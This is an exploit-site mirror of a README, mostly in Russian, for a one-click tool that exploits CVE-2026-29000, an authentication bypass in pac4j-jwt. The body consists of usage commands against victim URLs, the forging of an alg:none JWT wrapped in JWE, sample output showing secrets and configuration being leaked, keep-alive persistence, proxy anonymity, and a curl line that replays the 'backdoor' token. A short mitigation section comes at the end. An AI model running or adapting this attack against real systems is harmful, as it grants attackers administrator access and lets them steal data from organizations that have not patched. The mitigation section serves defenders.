Sploitus

CVE-2026-29000-PoC-Exploit

kitploit · 2026-08-23

Exploit Code

MARKDOWN186 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TC4DY-CVE-2026-29000-POC-EXPLOIT
# 🚀 CVE-2026-29000 - эксплойт обхода аутентификации pac4j-jwt

![Python](https://img.shields.io/badge/Python-3.8+-blue.svg) ![CVSS](https://img.shields.io/badge/CVSS-10.0%20CRITICAL-red.svg) ![License](https://img.shields.io/badge/License-MIT-green.svg) ![Pentesting](https://img.shields.io/badge/Purpose-Red%20Team-orange.svg)

> **CVE-2026-29000** \- создание администратора в один клик через JWT alg:none + JWE-шифрование

## 📌 Обзор

Этот эксплойт задействует **CVE-2026-29000** — критическую уязвимость с рейтингом CVSS 10.0 в библиотеке **pac4j-jwt**. Извлекая открытый JWKS-ключ сервера и подделывая зашифрованный JWE-токен с `alg: none`, он обеспечивает полный обход аутентификации и выдаёт полные административные привилегии в один клик.

### 🔥 Ключевые возможности

  * ✅ **Аутентификация не требуется** \- эксплуатация до аутентификации, действительные учётные данные не нужны
  * ✅ **Автоматическое обнаружение JWKS** \- сканирует 15+ эндпоинтов, поддержка пользовательских путей
  * ✅ **Извлечение RSA-ключа** \- получает открытый ключ, конвертирует JWK→PEM на лету
  * ✅ **Подделка JWT + JWE** \- создаёт JWT с `alg:none`, оборачивает в открытый ключ сервера
  * ✅ **Полный администраторский токен** \- ROLE_ADMIN, admin:true, настраиваемый срок действия
  * ✅ **Обход аутентификации** \- автоматически проверяет 8+ защищённых эндпоинтов
  * ✅ **Интеллектуальная утечка информации** \- перебирает 20+ чувствительных API-путей
  * ✅ **Постоянство сессии** \- поток keep-alive поддерживает доступ
  * ✅ **Поддержка прокси** \- HTTP/HTTPS-прокси для анонимности
  * ✅ **Экспорт в файл** \- сохраняет подделанный токен и утёкшие данные в файлы
  * ✅ **Механизм повторов** \- настраиваемые повторы для нестабильных соединений
  * ✅ **Цветной вывод** \- профессиональная поэтапная визуальная обратная связь
  * ✅ **Подробный режим** \- отладочное логирование для диагностики
  * ✅ **Без жёстко заданных задержек** \- только паузы при повторах и keep-alive пинги



## 🎯 Уязвимые версии

Библиотека| Затронутые версии| Исправленные версии  
---|---|---  
pac4j-jwt| < 5.1.5| ≥ 5.1.5  
pac4j-jwt| 4.x < 4.5.8| ≥ 4.5.8  
pac4j-jwt| 3.x < 3.18.6| ≥ 3.18.6  
  
> ⚠️ **Отказ от ответственности** : Этот инструмент предназначен только для авторизованного тестирования безопасности и red-team мероприятий.

## 📦 Установка

root@kitploit:~
    
    
    git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
    cd CVE-2026-29000-PoC-Exploit
    pip install -r requirements.txt
    python exploit.py --help
    
    requirements.txt:
    text
    
    requests>=2.31.0
    urllib3>=2.0.0
    pyjwt>=2.8.0
    cryptography>=41.0.0
    jwcrypto>=1.5.0
    colorama>=0.4.6
    
    🚀 Использование
    Базовый одношаговый эксплойт
    bash
    
    python exploit.py --target https://victim.com:8443
    
    Сохранение подделанного токена и утёкших данных
    bash
    
    python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
    
    Подробный режим с пользовательским JWKS
    bash
    
    python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
    
    С прокси и без keep-alive
    bash
    
    python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
    
    Пользовательский интервал keep-alive
    bash
    
    python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
    
    Проверка SSL включена
    bash
    
    python exploit.py -t https://legit.com:8443 --ssl-verify
    
    ⚙️ Аргументы командной строки
    Аргумент	Короткий	Обязательный	По умолчанию	Описание
    --target	-t	Да	-	Целевой URL (например, https://example.com:8443)
    --jwks	-k	Нет	автоопределение	Пользовательский путь к эндпоинту JWKS
    --output	-o	Нет	None	Сохранить подделанный JWE-токен в файл
    --leak	-l	Нет	leaked_TIMESTAMP.txt	Сохранить утёкшие данные в файл
    --verbose	-v	Нет	False	Включить отладочный вывод
    --proxy	-p	Нет	None	HTTP/HTTPS-прокси
    --user-agent	-ua	Нет	Mozilla/5.0...	Пользовательский User-Agent
    --no-keep-alive	-	Нет	False	Отключить поддержание сессии (keep-alive)
    --delay	-	Нет	5.0	Интервал keep-alive пинга (секунды)
    --max-retries	-	Нет	3	Максимум повторов при сбое запроса
    --ssl-verify	-	Нет	False	Проверять SSL-сертификаты
    📸 Пример вывода
    text
    
    $ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
    
    ╔══════════════════════════════════════════════════════════════════════════════╗
    ║     CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 ║
    ║                    The Educational One‑Click Admin Forge                     ║
    ║                            CVSS 10.0 - CRITICAL                              ║
    ╚══════════════════════════════════════════════════════════════════════════════╝
    
    [11:23:15] STAGE 1: Acquiring RSA public key from JWKS
    [11:23:15] Probing for JWKS endpoint...
    [11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
    [11:23:16] Successfully extracted RSA public key
    
    [11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
    [11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
    [11:23:16] ✓ Token saved to backdoor.jwe
    
    [11:23:16] STAGE 3: Sending forged JWE as Bearer token
    [11:23:17] ✓ Authentication successful! Access granted to /api/users/me
    
    [11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
    [11:23:18] ✓ Leaked: /actuator/env (status 200)
    [11:23:18] ✓ Leaked: /api/users (status 200)
    [11:23:18] ✓ Leaked: /api/secrets (status 200)
    [11:23:18] ✓ Leaked: /config/server (status 200)
    [11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
    
    [11:23:18] Keep‑alive session active (Ctrl+C to stop)
    [11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
    
    🧠 Как это работает
    text
    
    ┌─────────────────────────────────────────────────────────────────┐
    │  STAGE 1: Public Key Acquisition                                │
    │  ├── Discover JWKS endpoint (15+ known paths)                  │
    │  ├── Fetch JWK containing RSA public key                       │
    │  └── Convert JWK → PEM format                                   │
    ├─────────────────────────────────────────────────────────────────┤
    │  STAGE 2: Token Forging                                         │
    │  ├── Create JWT with alg: "none"                               │
    │  ├── Inject admin claims (ROLE_ADMIN, admin: true)             │
    │  └── Encrypt JWT into JWE using server's public key            │
    ├─────────────────────────────────────────────────────────────────┤
    │  STAGE 3: Authentication Bypass                                 │
    │  ├── Send JWE as Bearer token                                   │
    │  ├── Test 8+ protected endpoints                               │
    │  └── Extract session cookie                                     │
    ├─────────────────────────────────────────────────────────────────┤
    │  STAGE 4: Information Exfiltration                              │
    │  ├── Enumerate 20+ sensitive API paths                         │
    │  ├── Collect configs, users, secrets, environment              │
    │  └── Save all to leak file                                      │
    ├─────────────────────────────────────────────────────────────────┤
    │  Keep-Alive: Ping /api/ping every N seconds                     │
    └─────────────────────────────────────────────────────────────────┘
    
    🔧 Ручное использование токена
    
    После эксплуатации используйте сохранённый JWE-токен с curl:
    bash
    
    curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
    
    🛡️ Обнаружение и смягчение последствий
    Метод обнаружения	Индикатор
    Анализ журналов	JWT с alg: none в журналах аудита
    Сетевой мониторинг	Запросы к эндпоинту JWKS с неизвестных IP-адресов
    Проверка версии	curl /actuator/info | grep pac4j
    
    Меры по смягчению:
    
        Обновите pac4j-jwt до исправленных версий (≥5.1.5, ≥4.5.8, ≥3.18.6)
    
        Отключите поддержку alg: none в валидаторе JWT
    
        Внедрите строгую проверку JWE
    
        Отслеживайте аномальные структуры JWT